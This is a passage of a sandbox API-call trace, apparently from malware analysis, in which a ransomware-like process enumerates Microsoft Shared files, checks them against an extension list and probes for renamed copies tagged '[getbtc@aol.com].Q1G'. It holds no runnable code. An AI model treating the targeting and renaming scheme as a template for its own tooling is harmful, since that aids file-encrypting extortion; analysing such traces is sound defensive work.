Shared\\ink\\ipscsy.xml") returned 61 [0236.703] lstrlenW (lpString=".jpg") returned 4 [0236.703] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.703] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.703] lstrlenW (lpString="ipsrom.xml") returned 10 [0236.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.704] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2644) returned 1 [0236.704] CloseHandle (hObject=0x314) returned 1 [0236.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0236.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.704] lstrlenW (lpString=".doc") returned 4 [0236.704] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.704] lstrlenW (lpString=".docx") returned 5 [0236.704] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0236.704] lstrlenW (lpString=".pdf") returned 4 [0236.704] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.704] lstrlenW (lpString=".xls") returned 4 [0236.704] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.704] lstrlenW (lpString=".xlsx") returned 5 [0236.704] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0236.704] lstrlenW (lpString=".ppt") returned 4 [0236.704] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.704] lstrlenW (lpString=".zip") returned 4 [0236.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.704] lstrlenW (lpString=".rar") returned 4 [0236.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.704] lstrlenW (lpString=".bz2") returned 4 [0236.704] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.704] lstrlenW (lpString=".7z") returned 3 [0236.705] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString=".dbf") returned 4 [0236.705] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString=".1cd") returned 4 [0236.705] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString=".jpg") returned 4 [0236.705] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString=".doc") returned 4 [0236.705] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString=".docx") returned 5 [0236.705] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0236.705] lstrlenW (lpString=".pdf") returned 4 [0236.705] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString=".xls") returned 4 [0236.705] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString=".xlsx") returned 5 [0236.705] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0236.705] lstrlenW (lpString=".ppt") returned 4 [0236.705] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString=".zip") returned 4 [0236.705] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.705] lstrlenW (lpString=".rar") returned 4 [0236.705] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString=".bz2") returned 4 [0236.705] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.705] lstrlenW (lpString=".7z") returned 3 [0236.705] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.705] lstrlenW (lpString=".dbf") returned 4 [0236.705] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.706] lstrlenW (lpString=".1cd") returned 4 [0236.706] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0236.706] lstrlenW (lpString=".jpg") returned 4 [0236.706] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.706] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.706] lstrlenW (lpString="ipsrus.xml") returned 10 [0236.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0237.136] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2542) returned 1 [0237.136] CloseHandle (hObject=0x324) returned 1 [0237.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0237.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.136] lstrlenW (lpString=".doc") returned 4 [0237.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0237.136] lstrlenW (lpString=".docx") returned 5 [0237.136] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0237.136] lstrlenW (lpString=".pdf") returned 4 [0237.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0237.136] lstrlenW (lpString=".xls") returned 4 [0237.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0237.136] lstrlenW (lpString=".xlsx") returned 5 [0237.136] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0237.136] lstrlenW (lpString=".ppt") returned 4 [0237.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.137] lstrlenW (lpString=".zip") returned 4 [0237.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0237.137] lstrlenW (lpString=".rar") returned 4 [0237.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString=".bz2") returned 4 [0237.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString=".7z") returned 3 [0237.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0237.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.137] lstrlenW (lpString=".dbf") returned 4 [0237.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.137] lstrlenW (lpString=".1cd") returned 4 [0237.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.137] lstrlenW (lpString=".jpg") returned 4 [0237.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.137] lstrlenW (lpString=".doc") returned 4 [0237.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString=".docx") returned 5 [0237.137] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0237.137] lstrlenW (lpString=".pdf") returned 4 [0237.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString=".xls") returned 4 [0237.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0237.137] lstrlenW (lpString=".xlsx") returned 5 [0237.137] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0237.137] lstrlenW (lpString=".ppt") returned 4 [0237.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0237.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.138] lstrlenW (lpString=".zip") returned 4 [0237.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0237.138] lstrlenW (lpString=".rar") returned 4 [0237.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0237.138] lstrlenW (lpString=".bz2") returned 4 [0237.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0237.138] lstrlenW (lpString=".7z") returned 3 [0237.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0237.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.138] lstrlenW (lpString=".dbf") returned 4 [0237.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0237.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.138] lstrlenW (lpString=".1cd") returned 4 [0237.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0237.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0237.139] lstrlenW (lpString=".jpg") returned 4 [0237.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0237.139] Sleep (dwMilliseconds=0x64) [0237.247] Sleep (dwMilliseconds=0x64) [0237.356] lstrcmpiW (lpString1=".htm", lpString2=".Q1G") returned -1 [0237.356] lstrlenW (lpString="Bears.htm") returned 9 [0237.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.358] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=255) returned 1 [0237.358] CloseHandle (hObject=0x210) returned 1 [0237.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0237.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.358] lstrlenW (lpString=".doc") returned 4 [0237.358] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0237.358] lstrlenW (lpString=".docx") returned 5 [0237.358] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0237.358] lstrlenW (lpString=".pdf") returned 4 [0237.358] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0237.358] lstrlenW (lpString=".xls") returned 4 [0237.358] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0237.358] lstrlenW (lpString=".xlsx") returned 5 [0237.358] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0237.358] lstrlenW (lpString=".ppt") returned 4 [0237.358] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0237.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.358] lstrlenW (lpString=".zip") returned 4 [0237.359] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString=".rar") returned 4 [0237.359] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString=".bz2") returned 4 [0237.359] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0237.359] lstrlenW (lpString=".7z") returned 3 [0237.359] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0237.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.359] lstrlenW (lpString=".dbf") returned 4 [0237.359] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0237.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.359] lstrlenW (lpString=".1cd") returned 4 [0237.359] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0237.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.359] lstrlenW (lpString=".jpg") returned 4 [0237.359] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.359] lstrlenW (lpString=".doc") returned 4 [0237.359] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0237.359] lstrlenW (lpString=".docx") returned 5 [0237.359] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0237.359] lstrlenW (lpString=".pdf") returned 4 [0237.359] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString=".xls") returned 4 [0237.359] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString=".xlsx") returned 5 [0237.359] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0237.359] lstrlenW (lpString=".ppt") returned 4 [0237.359] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.359] lstrlenW (lpString=".zip") returned 4 [0237.359] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0237.359] lstrlenW (lpString=".rar") returned 4 [0237.359] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0237.360] lstrlenW (lpString=".bz2") returned 4 [0237.360] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0237.360] lstrlenW (lpString=".7z") returned 3 [0237.360] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0237.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.360] lstrlenW (lpString=".dbf") returned 4 [0237.360] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0237.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.360] lstrlenW (lpString=".1cd") returned 4 [0237.360] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0237.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0237.360] lstrlenW (lpString=".jpg") returned 4 [0237.360] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0237.360] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0237.360] lstrlenW (lpString="Bears.jpg") returned 9 [0237.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.360] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1074) returned 1 [0237.360] CloseHandle (hObject=0x210) returned 1 [0237.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0237.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.361] lstrlenW (lpString=".doc") returned 4 [0237.361] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0237.361] lstrlenW (lpString=".docx") returned 5 [0237.361] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0237.361] lstrlenW (lpString=".pdf") returned 4 [0237.361] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0237.361] lstrlenW (lpString=".xls") returned 4 [0237.361] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0237.361] lstrlenW (lpString=".xlsx") returned 5 [0237.361] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0237.361] lstrlenW (lpString=".ppt") returned 4 [0237.361] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0237.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.361] lstrlenW (lpString=".zip") returned 4 [0237.361] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0237.361] lstrlenW (lpString=".rar") returned 4 [0237.361] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0237.361] lstrlenW (lpString=".bz2") returned 4 [0237.361] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0237.361] lstrlenW (lpString=".7z") returned 3 [0237.361] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0237.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.361] lstrlenW (lpString=".dbf") returned 4 [0237.361] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0237.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.361] lstrlenW (lpString=".1cd") returned 4 [0237.361] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0237.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.361] lstrlenW (lpString=".jpg") returned 4 [0237.361] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0237.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.362] lstrlenW (lpString=".doc") returned 4 [0237.362] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0237.362] lstrlenW (lpString=".docx") returned 5 [0237.362] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0237.362] lstrlenW (lpString=".pdf") returned 4 [0237.362] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0237.362] lstrlenW (lpString=".xls") returned 4 [0237.362] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0237.362] lstrlenW (lpString=".xlsx") returned 5 [0237.362] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0237.362] lstrlenW (lpString=".ppt") returned 4 [0237.362] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0237.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.362] lstrlenW (lpString=".zip") returned 4 [0237.362] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0237.362] lstrlenW (lpString=".rar") returned 4 [0237.362] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0237.362] lstrlenW (lpString=".bz2") returned 4 [0237.362] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0237.362] lstrlenW (lpString=".7z") returned 3 [0237.362] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0237.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.362] lstrlenW (lpString=".dbf") returned 4 [0237.362] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0237.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.362] lstrlenW (lpString=".1cd") returned 4 [0237.362] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0237.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0237.362] lstrlenW (lpString=".jpg") returned 4 [0237.362] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0237.362] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0237.363] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0237.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.363] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2575) returned 1 [0237.363] CloseHandle (hObject=0x210) returned 1 [0237.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0237.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.364] lstrlenW (lpString=".doc") returned 4 [0237.364] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0237.364] lstrlenW (lpString=".docx") returned 5 [0237.364] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0237.364] lstrlenW (lpString=".pdf") returned 4 [0237.364] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0237.364] lstrlenW (lpString=".xls") returned 4 [0237.364] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0237.364] lstrlenW (lpString=".xlsx") returned 5 [0237.364] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0237.364] lstrlenW (lpString=".ppt") returned 4 [0237.364] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0237.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.364] lstrlenW (lpString=".zip") returned 4 [0237.364] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0237.364] lstrlenW (lpString=".rar") returned 4 [0237.364] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0237.364] lstrlenW (lpString=".bz2") returned 4 [0237.364] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0237.364] lstrlenW (lpString=".7z") returned 3 [0237.364] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0237.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0237.364] lstrlenW (lpString=".dbf") returned 4 [0237.364] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned 